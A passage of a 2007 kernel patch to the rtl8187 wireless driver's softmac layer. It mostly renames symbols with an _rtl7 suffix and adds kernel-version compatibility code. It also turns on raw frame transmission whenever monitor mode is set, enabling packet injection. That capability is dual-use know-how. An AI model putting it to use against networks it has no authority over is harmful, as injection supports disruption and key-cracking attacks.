ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_disassociate(ieee); + ieee80211_stop_scan_rtl7(ieee); + + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2138,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2170,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2247,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2268,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2280,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2304,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2337,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2388,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2405,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2444,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2458,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2479,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2562,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2574,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2589,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2618,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2634,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } 